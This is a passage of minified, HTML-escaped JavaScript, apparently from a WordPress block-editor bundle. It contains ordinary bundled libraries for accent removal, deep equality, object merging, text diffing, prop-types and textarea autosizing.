,\u1EB5:&quot;a&quot;,\u1EB7:&quot;a&quot;,\u00E6:&quot;ae&quot;,\u1EA7:&quot;a&quot;,\u1EB1:&quot;a&quot;,\u0203:&quot;a&quot;,\u1EA3:&quot;a&quot;,\u1EA1:&quot;a&quot;,\u1EA9:&quot;a&quot;,\u1EAB:&quot;a&quot;,\u1EAD:&quot;a&quot;,\u00E7:&quot;c&quot;,\u1E09:&quot;c&quot;,\u00E8:&quot;e&quot;,\u00E9:&quot;e&quot;,\u00EA:&quot;e&quot;,\u00EB:&quot;e&quot;,\u1EBF:&quot;e&quot;,\u1E17:&quot;e&quot;,\u1EC1:&quot;e&quot;,\u1E15:&quot;e&quot;,\u1E1D:&quot;e&quot;,\u0207:&quot;e&quot;,\u1EBB:&quot;e&quot;,\u1EBD:&quot;e&quot;,\u1EB9:&quot;e&quot;,\u1EC3:&quot;e&quot;,\u1EC5:&quot;e&quot;,\u1EC7:&quot;e&quot;,\u00EC:&quot;i&quot;,\u00ED:&quot;i&quot;,\u00EE:&quot;i&quot;,\u00EF:&quot;i&quot;,\u1E2F:&quot;i&quot;,\u020B:&quot;i&quot;,\u1EC9:&quot;i&quot;,\u1ECB:&quot;i&quot;,\u00F0:&quot;d&quot;,\u00F1:&quot;n&quot;,\u00F2:&quot;o&quot;,\u00F3:&quot;o&quot;,\u00F4:&quot;o&quot;,\u00F5:&quot;o&quot;,\u00F6:&quot;o&quot;,\u00F8:&quot;o&quot;,\u1ED1:&quot;o&quot;,\u1E4D:&quot;o&quot;,\u1E53:&quot;o&quot;,\u020F:&quot;o&quot;,\u1ECF:&quot;o&quot;,\u1ECD:&quot;o&quot;,\u1ED5:&quot;o&quot;,\u1ED7:&quot;o&quot;,\u1ED9:&quot;o&quot;,\u1EDD:&quot;o&quot;,\u1EDF:&quot;o&quot;,\u1EE1:&quot;o&quot;,\u1EDB:&quot;o&quot;,\u1EE3:&quot;o&quot;,\u00F9:&quot;u&quot;,\u00FA:&quot;u&quot;,\u00FB:&quot;u&quot;,\u00FC:&quot;u&quot;,\u1EE7:&quot;u&quot;,\u1EE5:&quot;u&quot;,\u1EED:&quot;u&quot;,\u1EEF:&quot;u&quot;,\u1EF1:&quot;u&quot;,\u00FD:&quot;y&quot;,\u00FF:&quot;y&quot;,\u0100:&quot;A&quot;,\u0101:&quot;a&quot;,\u0102:&quot;A&quot;,\u0103:&quot;a&quot;,\u0104:&quot;A&quot;,\u0105:&quot;a&quot;,\u0106:&quot;C&quot;,\u0107:&quot;c&quot;,\u0108:&quot;C&quot;,\u0109:&quot;c&quot;,\u010A:&quot;C&quot;,\u010B:&quot;c&quot;,\u010C:&quot;C&quot;,\u010D:&quot;c&quot;,C\u0306:&quot;C&quot;,c\u0306:&quot;c&quot;,\u010E:&quot;D&quot;,\u010F:&quot;d&quot;,\u0110:&quot;D&quot;,\u0111:&quot;d&quot;,\u0112:&quot;E&quot;,\u0113:&quot;e&quot;,\u0114:&quot;E&quot;,\u0115:&quot;e&quot;,\u0116:&quot;E&quot;,\u0117:&quot;e&quot;,\u0118:&quot;E&quot;,\u0119:&quot;e&quot;,\u011A:&quot;E&quot;,\u011B:&quot;e&quot;,\u011C:&quot;G&quot;,\u01F4:&quot;G&quot;,\u011D:&quot;g&quot;,\u01F5:&quot;g&quot;,\u011E:&quot;G&quot;,\u011F:&quot;g&quot;,\u0120:&quot;G&quot;,\u0121:&quot;g&quot;,\u0122:&quot;G&quot;,\u0123:&quot;g&quot;,\u0124:&quot;H&quot;,\u0125:&quot;h&quot;,\u0126:&quot;H&quot;,\u0127:&quot;h&quot;,\u1E2A:&quot;H&quot;,\u1E2B:&quot;h&quot;,\u0128:&quot;I&quot;,\u0129:&quot;i&quot;,\u012A:&quot;I&quot;,\u012B:&quot;i&quot;,\u012C:&quot;I&quot;,\u012D:&quot;i&quot;,\u012E:&quot;I&quot;,\u012F:&quot;i&quot;,\u0130:&quot;I&quot;,\u0131:&quot;i&quot;,\u0132:&quot;IJ&quot;,\u0133:&quot;ij&quot;,\u0134:&quot;J&quot;,\u0135:&quot;j&quot;,\u0136:&quot;K&quot;,\u0137:&quot;k&quot;,\u1E30:&quot;K&quot;,\u1E31:&quot;k&quot;,K\u0306:&quot;K&quot;,k\u0306:&quot;k&quot;,\u0139:&quot;L&quot;,\u013A:&quot;l&quot;,\u013B:&quot;L&quot;,\u013C:&quot;l&quot;,\u013D:&quot;L&quot;,\u013E:&quot;l&quot;,\u013F:&quot;L&quot;,\u0140:&quot;l&quot;,\u0141:&quot;l&quot;,\u0142:&quot;l&quot;,\u1E3E:&quot;M&quot;,\u1E3F:&quot;m&quot;,M\u0306:&quot;M&quot;,m\u0306:&quot;m&quot;,\u0143:&quot;N&quot;,\u0144:&quot;n&quot;,\u0145:&quot;N&quot;,\u0146:&quot;n&quot;,\u0147:&quot;N&quot;,\u0148:&quot;n&quot;,\u0149:&quot;n&quot;,N\u0306:&quot;N&quot;,n\u0306:&quot;n&quot;,\u014C:&quot;O&quot;,\u014D:&quot;o&quot;,\u014E:&quot;O&quot;,\u014F:&quot;o&quot;,\u0150:&quot;O&quot;,\u0151:&quot;o&quot;,\u0152:&quot;OE&quot;,\u0153:&quot;oe&quot;,P\u0306:&quot;P&quot;,p\u0306:&quot;p&quot;,\u0154:&quot;R&quot;,\u0155:&quot;r&quot;,\u0156:&quot;R&quot;,\u0157:&quot;r&quot;,\u0158:&quot;R&quot;,\u0159:&quot;r&quot;,R\u0306:&quot;R&quot;,r\u0306:&quot;r&quot;,\u0212:&quot;R&quot;,\u0213:&quot;r&quot;,\u015A:&quot;S&quot;,\u015B:&quot;s&quot;,\u015C:&quot;S&quot;,\u015D:&quot;s&quot;,\u015E:&quot;S&quot;,\u0218:&quot;S&quot;,\u0219:&quot;s&quot;,\u015F:&quot;s&quot;,\u0160:&quot;S&quot;,\u0161:&quot;s&quot;,\u0162:&quot;T&quot;,\u0163:&quot;t&quot;,\u021B:&quot;t&quot;,\u021A:&quot;T&quot;,\u0164:&quot;T&quot;,\u0165:&quot;t&quot;,\u0166:&quot;T&quot;,\u0167:&quot;t&quot;,T\u0306:&quot;T&quot;,t\u0306:&quot;t&quot;,\u0168:&quot;U&quot;,\u0169:&quot;u&quot;,\u016A:&quot;U&quot;,\u016B:&quot;u&quot;,\u016C:&quot;U&quot;,\u016D:&quot;u&quot;,\u016E:&quot;U&quot;,\u016F:&quot;u&quot;,\u0170:&quot;U&quot;,\u0171:&quot;u&quot;,\u0172:&quot;U&quot;,\u0173:&quot;u&quot;,\u0216:&quot;U&quot;,\u0217:&quot;u&quot;,V\u0306:&quot;V&quot;,v\u0306:&quot;v&quot;,\u0174:&quot;W&quot;,\u0175:&quot;w&quot;,\u1E82:&quot;W&quot;,\u1E83:&quot;w&quot;,X\u0306:&quot;X&quot;,x\u0306:&quot;x&quot;,\u0176:&quot;Y&quot;,\u0177:&quot;y&quot;,\u0178:&quot;Y&quot;,Y\u0306:&quot;Y&quot;,y\u0306:&quot;y&quot;,\u0179:&quot;Z&quot;,\u017A:&quot;z&quot;,\u017B:&quot;Z&quot;,\u017C:&quot;z&quot;,\u017D:&quot;Z&quot;,\u017E:&quot;z&quot;,\u017F:&quot;s&quot;,\u0192:&quot;f&quot;,\u01A0:&quot;O&quot;,\u01A1:&quot;o&quot;,\u01AF:&quot;U&quot;,\u01B0:&quot;u&quot;,\u01CD:&quot;A&quot;,\u01CE:&quot;a&quot;,\u01CF:&quot;I&quot;,\u01D0:&quot;i&quot;,\u01D1:&quot;O&quot;,\u01D2:&quot;o&quot;,\u01D3:&quot;U&quot;,\u01D4:&quot;u&quot;,\u01D5:&quot;U&quot;,\u01D6:&quot;u&quot;,\u01D7:&quot;U&quot;,\u01D8:&quot;u&quot;,\u01D9:&quot;U&quot;,\u01DA:&quot;u&quot;,\u01DB:&quot;U&quot;,\u01DC:&quot;u&quot;,\u1EE8:&quot;U&quot;,\u1EE9:&quot;u&quot;,\u1E78:&quot;U&quot;,\u1E79:&quot;u&quot;,\u01FA:&quot;A&quot;,\u01FB:&quot;a&quot;,\u01FC:&quot;AE&quot;,\u01FD:&quot;ae&quot;,\u01FE:&quot;O&quot;,\u01FF:&quot;o&quot;,\u00DE:&quot;TH&quot;,\u00FE:&quot;th&quot;,\u1E54:&quot;P&quot;,\u1E55:&quot;p&quot;,\u1E64:&quot;S&quot;,\u1E65:&quot;s&quot;,X\u0301:&quot;X&quot;,x\u0301:&quot;x&quot;,\u0403:&quot;\u0413&quot;,\u0453:&quot;\u0433&quot;,\u040C:&quot;\u041A&quot;,\u045C:&quot;\u043A&quot;,A\u030B:&quot;A&quot;,a\u030B:&quot;a&quot;,E\u030B:&quot;E&quot;,e\u030B:&quot;e&quot;,I\u030B:&quot;I&quot;,i\u030B:&quot;i&quot;,\u01F8:&quot;N&quot;,\u01F9:&quot;n&quot;,\u1ED2:&quot;O&quot;,\u1ED3:&quot;o&quot;,\u1E50:&quot;O&quot;,\u1E51:&quot;o&quot;,\u1EEA:&quot;U&quot;,\u1EEB:&quot;u&quot;,\u1E80:&quot;W&quot;,\u1E81:&quot;w&quot;,\u1EF2:&quot;Y&quot;,\u1EF3:&quot;y&quot;,\u0200:&quot;A&quot;,\u0201:&quot;a&quot;,\u0204:&quot;E&quot;,\u0205:&quot;e&quot;,\u0208:&quot;I&quot;,\u0209:&quot;i&quot;,\u020C:&quot;O&quot;,\u020D:&quot;o&quot;,\u0210:&quot;R&quot;,\u0211:&quot;r&quot;,\u0214:&quot;U&quot;,\u0215:&quot;u&quot;,B\u030C:&quot;B&quot;,b\u030C:&quot;b&quot;,\u010C\u0323:&quot;C&quot;,\u010D\u0323:&quot;c&quot;,\u00CA\u030C:&quot;E&quot;,\u00EA\u030C:&quot;e&quot;,F\u030C:&quot;F&quot;,f\u030C:&quot;f&quot;,\u01E6:&quot;G&quot;,\u01E7:&quot;g&quot;,\u021E:&quot;H&quot;,\u021F:&quot;h&quot;,J\u030C:&quot;J&quot;,\u01F0:&quot;j&quot;,\u01E8:&quot;K&quot;,\u01E9:&quot;k&quot;,M\u030C:&quot;M&quot;,m\u030C:&quot;m&quot;,P\u030C:&quot;P&quot;,p\u030C:&quot;p&quot;,Q\u030C:&quot;Q&quot;,q\u030C:&quot;q&quot;,\u0158\u0329:&quot;R&quot;,\u0159\u0329:&quot;r&quot;,\u1E66:&quot;S&quot;,\u1E67:&quot;s&quot;,V\u030C:&quot;V&quot;,v\u030C:&quot;v&quot;,W\u030C:&quot;W&quot;,w\u030C:&quot;w&quot;,X\u030C:&quot;X&quot;,x\u030C:&quot;x&quot;,Y\u030C:&quot;Y&quot;,y\u030C:&quot;y&quot;,A\u0327:&quot;A&quot;,a\u0327:&quot;a&quot;,B\u0327:&quot;B&quot;,b\u0327:&quot;b&quot;,\u1E10:&quot;D&quot;,\u1E11:&quot;d&quot;,\u0228:&quot;E&quot;,\u0229:&quot;e&quot;,\u0190\u0327:&quot;E&quot;,\u025B\u0327:&quot;e&quot;,\u1E28:&quot;H&quot;,\u1E29:&quot;h&quot;,I\u0327:&quot;I&quot;,i\u0327:&quot;i&quot;,\u0197\u0327:&quot;I&quot;,\u0268\u0327:&quot;i&quot;,M\u0327:&quot;M&quot;,m\u0327:&quot;m&quot;,O\u0327:&quot;O&quot;,o\u0327:&quot;o&quot;,Q\u0327:&quot;Q&quot;,q\u0327:&quot;q&quot;,U\u0327:&quot;U&quot;,u\u0327:&quot;u&quot;,X\u0327:&quot;X&quot;,x\u0327:&quot;x&quot;,Z\u0327:&quot;Z&quot;,z\u0327:&quot;z&quot;,\u0439:&quot;\u0438&quot;,\u0419:&quot;\u0418&quot;,\u0451:&quot;\u0435&quot;,\u0401:&quot;\u0415&quot;},FM=Object.keys(NM).join(&quot;|&quot;),Yfe=new RegExp(FM,&quot;g&quot;),qfe=new RegExp(FM,&quot;&quot;);function Zfe(e){return NM[e]}var DM=function(e){return e.replace(Yfe,Zfe)},Kfe=function(e){return!!e.match(qfe)};B_.exports=DM;B_.exports.has=Kfe;B_.exports.remove=DM});var hI=Ie((yDe,u8)=&gt;{u8.exports=window.wp.styleEngine});var yI=Ie((ADe,v8)=&gt;{&quot;use strict&quot;;v8.exports=function e(t,r){if(t===r)return!0;if(t&amp;&amp;r&amp;&amp;typeof t==&quot;object&quot;&amp;&amp;typeof r==&quot;object&quot;){if(t.constructor!==r.constructor)return!1;var o,n,i;if(Array.isArray(t)){if(o=t.length,o!=r.length)return!1;for(n=o;n--!==0;)if(!e(t[n],r[n]))return!1;return!0}if(t instanceof Map&amp;&amp;r instanceof Map){if(t.size!==r.size)return!1;for(n of t.entries())if(!r.has(n[0]))return!1;for(n of t.entries())if(!e(n[1],r.get(n[0])))return!1;return!0}if(t instanceof Set&amp;&amp;r instanceof Set){if(t.size!==r.size)return!1;for(n of t.entries())if(!r.has(n[0]))return!1;return!0}if(ArrayBuffer.isView(t)&amp;&amp;ArrayBuffer.isView(r)){if(o=t.length,o!=r.length)return!1;for(n=o;n--!==0;)if(t[n]!==r[n])return!1;return!0}if(t.constructor===RegExp)return t.source===r.source&amp;&amp;t.flags===r.flags;if(t.valueOf!==Object.prototype.valueOf)return t.valueOf()===r.valueOf();if(t.toString!==Object.prototype.toString)return t.toString()===r.toString();if(i=Object.keys(t),o=i.length,o!==Object.keys(r).length)return!1;for(n=o;n--!==0;)if(!Object.prototype.hasOwnProperty.call(r,i[n]))return!1;for(n=o;n--!==0;){var a=i[n];if(!e(t[a],r[a]))return!1}return!0}return t!==t&amp;&amp;r!==r}});var sw=Ie((IDe,S8)=&gt;{&quot;use strict&quot;;var kpe=function(t){return Epe(t)&amp;&amp;!Rpe(t)};function Epe(e){return!!e&amp;&amp;typeof e==&quot;object&quot;}function Rpe(e){var t=Object.prototype.toString.call(e);return t===&quot;[object RegExp]&quot;||t===&quot;[object Date]&quot;||Ipe(e)}var Ape=typeof Symbol==&quot;function&quot;&amp;&amp;Symbol.for,Ope=Ape?Symbol.for(&quot;react.element&quot;):60103;function Ipe(e){return e.$$typeof===Ope}function Npe(e){return Array.isArray(e)?[]:{}}function By(e,t){return t.clone!==!1&amp;&amp;t.isMergeableObject(e)?Ap(Npe(e),e,t):e}function Fpe(e,t,r){return e.concat(t).map(function(o){return By(o,r)})}function Dpe(e,t){if(!t.customMerge)return Ap;var r=t.customMerge(e);return typeof r==&quot;function&quot;?r:Ap}function Bpe(e){return Object.getOwnPropertySymbols?Object.getOwnPropertySymbols(e).filter(function(t){return Object.propertyIsEnumerable.call(e,t)}):[]}function y8(e){return Object.keys(e).concat(Bpe(e))}function b8(e,t){try{return t in e}catch{return!1}}function Mpe(e,t){return b8(e,t)&amp;&amp;!(Object.hasOwnProperty.call(e,t)&amp;&amp;Object.propertyIsEnumerable.call(e,t))}function Lpe(e,t,r){var o={};return r.isMergeableObject(e)&amp;&amp;y8(e).forEach(function(n){o[n]=By(e[n],r)}),y8(t).forEach(function(n){Mpe(e,n)||(b8(e,n)&amp;&amp;r.isMergeableObject(t[n])?o[n]=Dpe(n,r)(e[n],t[n],r):o[n]=By(t[n],r))}),o}function Ap(e,t,r){r=r||{},r.arrayMerge=r.arrayMerge||Fpe,r.isMergeableObject=r.isMergeableObject||kpe,r.cloneUnlessOtherwiseSpecified=By;var o=Array.isArray(t),n=Array.isArray(e),i=o===n;return i?o?r.arrayMerge(e,t,r):Lpe(e,t,r):By(t,r)}Ap.all=function(t,r){if(!Array.isArray(t))throw new Error(&quot;first argument should be an array&quot;);return t.reduce(function(o,n){return Ap(o,n,r)},{})};var Vpe=Ap;S8.exports=Vpe});var NI=Ie(II=&gt;{&quot;use strict&quot;;Object.defineProperty(II,&quot;__esModule&quot;,{value:!0});II.default=a7;function a7(){}a7.prototype={diff:function(t,r){var o=arguments.length&gt;2&amp;&amp;arguments[2]!==void 0?arguments[2]:{},n=o.callback;typeof o==&quot;function&quot;&amp;&amp;(n=o,o={}),this.options=o;var i=this;function a(v){return n?(setTimeout(function(){n(void 0,v)},0),!0):v}t=this.castInput(t),r=this.castInput(r),t=this.removeEmpty(this.tokenize(t)),r=this.removeEmpty(this.tokenize(r));var l=r.length,c=t.length,u=1,d=l+c,f=[{newPos:-1,components:[]}],m=this.extractCommon(f[0],r,t,0);if(f[0].newPos+1&gt;=l&amp;&amp;m+1&gt;=c)return a([{value:this.join(r),count:r.length}]);function h(){for(var v=-1*u;v&lt;=u;v+=2){var y=void 0,b=f[v-1],_=f[v+1],S=(_?_.newPos:0)-v;b&amp;&amp;(f[v-1]=void 0);var x=b&amp;&amp;b.newPos+1&lt;l,T=_&amp;&amp;0&lt;=S&amp;&amp;S&lt;c;if(!x&amp;&amp;!T){f[v]=void 0;continue}if(!x||T&amp;&amp;b.newPos&lt;_.newPos?(y=Ohe(_),i.pushComponent(y.components,void 0,!0)):(y=b,y.newPos++,i.pushComponent(y.components,!0,void 0)),S=i.extractCommon(y,r,t,v),y.newPos+1&gt;=l&amp;&amp;S+1&gt;=c)return a(Ahe(i,y.components,r,t,i.useLongestToken));f[v]=y}u++}if(n)(function v(){setTimeout(function(){if(u&gt;d)return n();h()||v()},0)})();else for(;u&lt;=d;){var g=h();if(g)return g}},pushComponent:function(t,r,o){var n=t[t.length-1];n&amp;&amp;n.added===r&amp;&amp;n.removed===o?t[t.length-1]={count:n.count+1,added:r,removed:o}:t.push({count:1,added:r,removed:o})},extractCommon:function(t,r,o,n){for(var i=r.length,a=o.length,l=t.newPos,c=l-n,u=0;l+1&lt;i&amp;&amp;c+1&lt;a&amp;&amp;this.equals(r[l+1],o[c+1]);)l++,c++,u++;return u&amp;&amp;t.components.push({count:u}),t.newPos=l,c},equals:function(t,r){return this.options.comparator?this.options.comparator(t,r):t===r||this.options.ignoreCase&amp;&amp;t.toLowerCase()===r.toLowerCase()},removeEmpty:function(t){for(var r=[],o=0;o&lt;t.length;o++)t[o]&amp;&amp;r.push(t[o]);return r},castInput:function(t){return t},tokenize:function(t){return t.split(&quot;&quot;)},join:function(t){return t.join(&quot;&quot;)}};function Ahe(e,t,r,o,n){for(var i=0,a=t.length,l=0,c=0;i&lt;a;i++){var u=t[i];if(u.removed){if(u.value=e.join(o.slice(c,c+u.count)),c+=u.count,i&amp;&amp;t[i-1].added){var f=t[i-1];t[i-1]=t[i],t[i]=f}}else{if(!u.added&amp;&amp;n){var d=r.slice(l,l+u.count);d=d.map(function(h,g){var v=o[c+g];return v.length&gt;h.length?v:h}),u.value=e.join(d)}else u.value=e.join(r.slice(l,l+u.count));l+=u.count,u.added||(c+=u.count)}}var m=t[a-1];return a&gt;1&amp;&amp;typeof m.value==&quot;string&quot;&amp;&amp;(m.added||m.removed)&amp;&amp;e.equals(&quot;&quot;,m.value)&amp;&amp;(t[a-2].value+=m.value,t.pop()),t}function Ohe(e){return{newPos:e.newPos,components:e.components.slice(0)}}});var FI=Ie(Hy=&gt;{&quot;use strict&quot;;Object.defineProperty(Hy,&quot;__esModule&quot;,{value:!0});Hy.diffArrays=Fhe;Hy.arrayDiff=void 0;var Ihe=Nhe(NI());function Nhe(e){return e&amp;&amp;e.__esModule?e:{default:e}}var Uy=new Ihe.default;Hy.arrayDiff=Uy;Uy.tokenize=function(e){return e.slice()};Uy.join=Uy.removeEmpty=function(e){return e};function Fhe(e,t,r){return Uy.diff(e,t,r)}});var l7=Ie(DI=&gt;{&quot;use strict&quot;;Object.defineProperty(DI,&quot;__esModule&quot;,{value:!0});DI.generateOptions=Dhe;function Dhe(e,t){if(typeof e==&quot;function&quot;)t.callback=e;else if(e)for(var r in e)e.hasOwnProperty(r)&amp;&amp;(t[r]=e[r]);return t}});var BI=Ie(Vp=&gt;{&quot;use strict&quot;;Object.defineProperty(Vp,&quot;__esModule&quot;,{value:!0});Vp.diffWords=Vhe;Vp.diffWordsWithSpace=jhe;Vp.wordDiff=void 0;var Bhe=Lhe(NI()),Mhe=l7();function Lhe(e){return e&amp;&amp;e.__esModule?e:{default:e}}var c7=/^[A-Za-z\xC0-\u02C6\u02C8-\u02D7\u02DE-\u02FF\u1E00-\u1EFF]+$/,u7=/\S/,Gy=new Bhe.default;Vp.wordDiff=Gy;Gy.equals=function(e,t){return this.options.ignoreCase&amp;&amp;(e=e.toLowerCase(),t=t.toLowerCase()),e===t||this.options.ignoreWhitespace&amp;&amp;!u7.test(e)&amp;&amp;!u7.test(t)};Gy.tokenize=function(e){for(var t=e.split(/(\s+|[()[\]{}&#039;&quot;]|\b)/),r=0;r&lt;t.length-1;r++)!t[r+1]&amp;&amp;t[r+2]&amp;&amp;c7.test(t[r])&amp;&amp;c7.test(t[r+2])&amp;&amp;(t[r]+=t[r+2],t.splice(r+1,2),r--);return t};function Vhe(e,t,r){return r=(0,Mhe.generateOptions)(r,{ignoreWhitespace:!0}),Gy.diff(e,t,r)}function jhe(e,t,r){return Gy.diff(e,t,r)}});var f7=Ie((jBe,d7)=&gt;{d7.exports=window.wp.blockSerializationDefaultParser});var Wy=Ie((zBe,m7)=&gt;{m7.exports=window.wp.richText});var jI=Ie((XBe,x7)=&gt;{x7.exports=window.wp.commands});var T7=Ie((QBe,C7)=&gt;{C7.exports=window.wp.viewport});var _u=Ie((JBe,P7)=&gt;{P7.exports=window.wp.plugins});var Y9=Ie((SVe,W9)=&gt;{W9.exports=window.wp.uploadMedia});var Oi=Ie((AVe,ij)=&gt;{ij.exports=window.wp.keyboardShortcuts});var yo=Ie((IVe,aj)=&gt;{aj.exports=window.wp.keycodes});var xh=Ie((nZe,qG)=&gt;{qG.exports=window.wp.dom});var qY=Ie((kXe,YY)=&gt;{YY.exports=window.wp.warning});var FX=Ie((ltt,NX)=&gt;{&quot;use strict&quot;;var fTe=&quot;SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED&quot;;NX.exports=fTe});var LX=Ie((ctt,MX)=&gt;{&quot;use strict&quot;;var mTe=FX();function DX(){}function BX(){}BX.resetWarningCache=DX;MX.exports=function(){function e(o,n,i,a,l,c){if(c!==mTe){var u=new Error(&quot;Calling PropTypes validators directly is not supported by the `prop-types` package. Use PropTypes.checkPropTypes() to call them. Read more at http://fb.me/use-check-prop-types&quot;);throw u.name=&quot;Invariant Violation&quot;,u}}e.isRequired=e;function t(){return e}var r={array:e,bigint:e,bool:e,func:e,number:e,object:e,string:e,symbol:e,any:e,arrayOf:t,element:e,elementType:e,instanceOf:t,node:e,objectOf:t,oneOf:t,oneOfType:t,shape:t,exact:t,checkPropTypes:BX,resetWarningCache:DX};return r.PropTypes=r,r}});var jX=Ie((ftt,VX)=&gt;{VX.exports=LX()();var utt,dtt});var UX=Ie((TP,zX)=&gt;{(function(e,t){if(typeof define==&quot;function&quot;&amp;&amp;define.amd)define([&quot;module&quot;,&quot;exports&quot;],t);else if(typeof TP&lt;&quot;u&quot;)t(zX,TP);else{var r={exports:{}};t(r,r.exports),e.autosize=r.exports}})(TP,function(e,t){&quot;use strict&quot;;var r=typeof Map==&quot;function&quot;?new Map:(function(){var c=[],u=[];return{has:function(f){return c.indexOf(f)&gt;-1},get:function(f){return u[c.indexOf(f)]},set:function(f,m){c.indexOf(f)===-1&amp;&amp;(c.push(f),u.push(m))},delete:function(f){var m=c.indexOf(f);m&gt;-1&amp;&amp;(c.splice(m,1),u.splice(m,1))}}})(),o=function(u){return new Event(u,{bubbles:!0})};try{new Event(&quot;test&quot;)}catch{o=function(d){var f=document.createEvent(&quot;Event&quot;);return f.initEvent(d,!0,!1),f}}function n(c){if(!c||!c.nodeName||c.nodeName!==&quot;TEXTAREA&quot;||r.has(c))return;var u=null,d=null,f=null;function m(){var S=window.getComputedStyle(c,null);S.resize===&quot;vertical&quot;?c.style.resize=&quot;none&quot;:S.resize===&quot;both&quot;&amp;&amp;(c.style.resize=&quot;horizontal&quot;),S.boxSizing===&quot;content-box&quot;?u=-(parseFloat(S.paddingTop)+parseFloat(S.paddingBottom)):u=parseFloat(S.borderTopWidth)+parseFloat(S.borderBottomWidth),isNaN(u)&amp;&amp;(u=0),y()}function h(S){{var x=c.style.width;c.style.width=&quot;0px&quot;,c.offsetWidth,c.style.width=x}c.style.overflowY=S}function g(S){for(var x=[];S&amp;&amp;S.parentNode&amp;&amp;S.parentNode instanceof Element;)S.parentNode.scrollTop&amp;&amp;x.push({node:S.parentNode,scrollTop:S.parentNode.scrollTop}),S=S.parentNode;return x}function v(){if(c.scrollHeight!==0){var S=g(c),x=document.documentElement&amp;&amp;document.documentElement.scrollTop;c.style.height=&quot;&quot;,c.style.height=c.scrollHeight+u+&quot;px&quot;,d=c.clientWidth,S.forEach(function(T){T.node.scrollTop=T.scrollTop}),x&amp;&amp;(document.documentElement.scrollTop=x)}}function y(){v();var S=Math.round(parseFloat(c.style.height)),x=window.getComputedStyle(c,null),T=x.boxSizing===&quot;content-box&quot;?Math.round(parseFloat(x.height)):c.offsetHeight;if(T&lt;S?x.overflowY===&quot;hidden&quot;&amp;&amp;(h(&quot;scroll&quot;),v(),T=x.boxSizing===&quot;content-box&quot;?Math.round(parseFloat(window.getComputedStyle(c,null).height)):c.offsetHeight):x.overflowY!==&quot;hidden&quot;&amp;&amp;(h(&quot;hidden&quot;),v(),T=x.boxSizing===&quot;content-box&quot;?Math.round(parseFloat(window.getComputedStyle(c,null).height)):c.offsetHeight),f!==T){f=T;var R=o(&quot;autosize:resized&quot;);try{c.dispatchEvent(R)}catch{}}}var b=function(){c.clientWidth!==d&amp;&amp;y()},_=function(S){window.removeEventListener(&quot;resize&quot;,b,!1),c.removeEventListener(&quot;input&quot;,y,!1),c.removeEventListener(&quot;keyup&quot;,y,!1),c.removeEventListener(&quot;autosize:destroy&quot;,_,!1),c.removeEventListener(&quot;autosize:update&quot;,y,!1),Object.keys(S).forEach(function(x){c.style[x]=S[x]}),r.delete(c)}.bind(c,{height:c.style.height,resize:c.style.resize,overflowY:c.style.overflowY,overflowX:c.style.overflowX,wordWrap:c.style.wordWrap});c.addEventListener(&quot;autosize:destroy&quot;,_,!1),&quot;onpropertychange&quot;in c&amp;&amp;&quot;oninput&quot;in c&amp;&amp;c.addEventListener(&quot;keyup&quot;,y,!1),window.addEventListener(&quot;resize&quot;,b,!1),c.addEventListener(&quot;input&quot;,y,!1),c.addEventListener(&quot;autosize:update&quot;,y,!1),c.style.overflowX=&quot;hidden&quot;,c.style.wordWrap=&quot;break-word&quot;,r.set(c,{destroy:_,update:y}),m()}function i(c){var u=r.get(c);u&amp;&amp;u.destroy()}function a(c){var u=r.get(c);u&amp;&amp;u.update()}var l=null;typeof window&gt;&quot;u&quot;||typeof window.getComputedStyle!=&quot;function&quot;?(l=function(u){return u},l.destroy=function(c){return c},l.update=function(c){return c}):(l=function(u,d){return u&amp;&amp;Array.prototype.forEach.call(u.length?u:[u],function(f){return n(f,d)}),u},l.destroy=function(c){return c&amp;&amp;Array.prototype.forEach.call(c.length?c:[c],i),c},l.update=function(c){return c&amp;&amp;Array.prototype.forEach.call(c.length?c:[c],a),c}),t.default=l,e.exports=t.default})});var GX=Ie((mtt,HX)=&gt;{var pTe=function(e,t,r){return r=window.getComputedStyle,(r?r(e):e.currentStyle)[t.replace(/-(\w)/gi,function(o,n){return n.toUpperCase()})]};HX.exports=pTe});var YX=Ie((ptt,WX)=&gt;{var _4=GX();function hTe(e){var t=_4(e,&quot;line-height&quot;),r=parseFloat(t,10);if(t===r+&quot;&quot;){var o=e.style.lineHeight;e.style.lineHeight=t+&quot;em&quot;,t=_4(e,&quot;line-height&quot;),r=parseFloat(t,10),o?e.style.lineHeight=o:delete e.style.lineHeight}if(t.indexOf(&quot;pt&quot;)!==-1?(r*=4,r/=3):t.indexOf(&quot;mm&quot;)!==-1?(r*=96,r/=25.4):t.indexOf(&quot;cm&quot;)!==-1?(r*=96,r/=2.54):t.indexOf(&quot;in&quot;)!==-1?r*=96:t.indexOf(&quot;pc&quot;)!==-1&amp;&amp;(r*=16),r=Math.round(r),t===&quot;normal&quot;){var n=e.nodeName,i=document.createElement(n);i.innerHTML=&quot;&amp;nbsp;&quot;,n.toUpperCase()===&quot;TEXTAREA&quot;&amp;&amp;i.setAttribute(&quot;rows&quot;,&quot;1&quot;);var a=_4(e,&quot;font-size&quot;);i.style.fontSize=a,i.style.padding=&quot;0px&quot;,i.style.border=&quot;0px&quot;;var l=document.body;l.appendChild(i);var c=i.offsetHeight;r=c,l.removeChild(i)}return r}WX.exports=hTe});var ZX=Ie(Pc=&gt;{&quot;use strict&quot;;var gTe=Pc&amp;&amp;Pc.__extends||(function(){var e=Object.setPrototypeOf||{__proto__:[]}instanceof Array&amp;&amp;function(t,r){t.__proto__=r}||function(t,r){for(var o in r)r.hasOwnProperty(o)&amp;&amp;(t[o]=r[o])};return function(t,r){e(t,r);function o(){this.constructor=t}t.prototype=r===null?Object.create(r):(o.prototype=r.prototype,new o)}})(),w4=Pc&amp;&amp;Pc.__assign||Object.assign||function(e){for(var t,r=1,o=arguments.length;r&lt;o;r++){t=arguments[r];for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&amp;&amp;(e[n]=t[n])}return e},vTe=Pc&amp;&amp;Pc.__rest||function(e,t){var r={};for(var o in e)Object.prototype.hasOwnProperty.call(e,o)&amp;&amp;t.indexOf(o)&lt;0&amp;&amp;(r[o]=e[o]);if(e!=null&amp;&amp;typeof Object.getOwnPropertySymbols==&quot;function&quot;)for(var n=0,o=Object.getOwnPropertySymbols(e);n&lt;o.length;n++)t.indexOf(o[n])&lt;0&amp;&amp;(r[o[n]]=e[o[n]]);return r};Pc.__esModule=!0;var kP=Jn(),_0=jX(),PP=UX(),yTe=YX(),bTe=yTe,qX=&quot;autosize:resized&quot;,STe=(function(e){gTe(t,e);function t(){var r=e!==null&amp;&amp;e.apply(this,arguments)||this;return 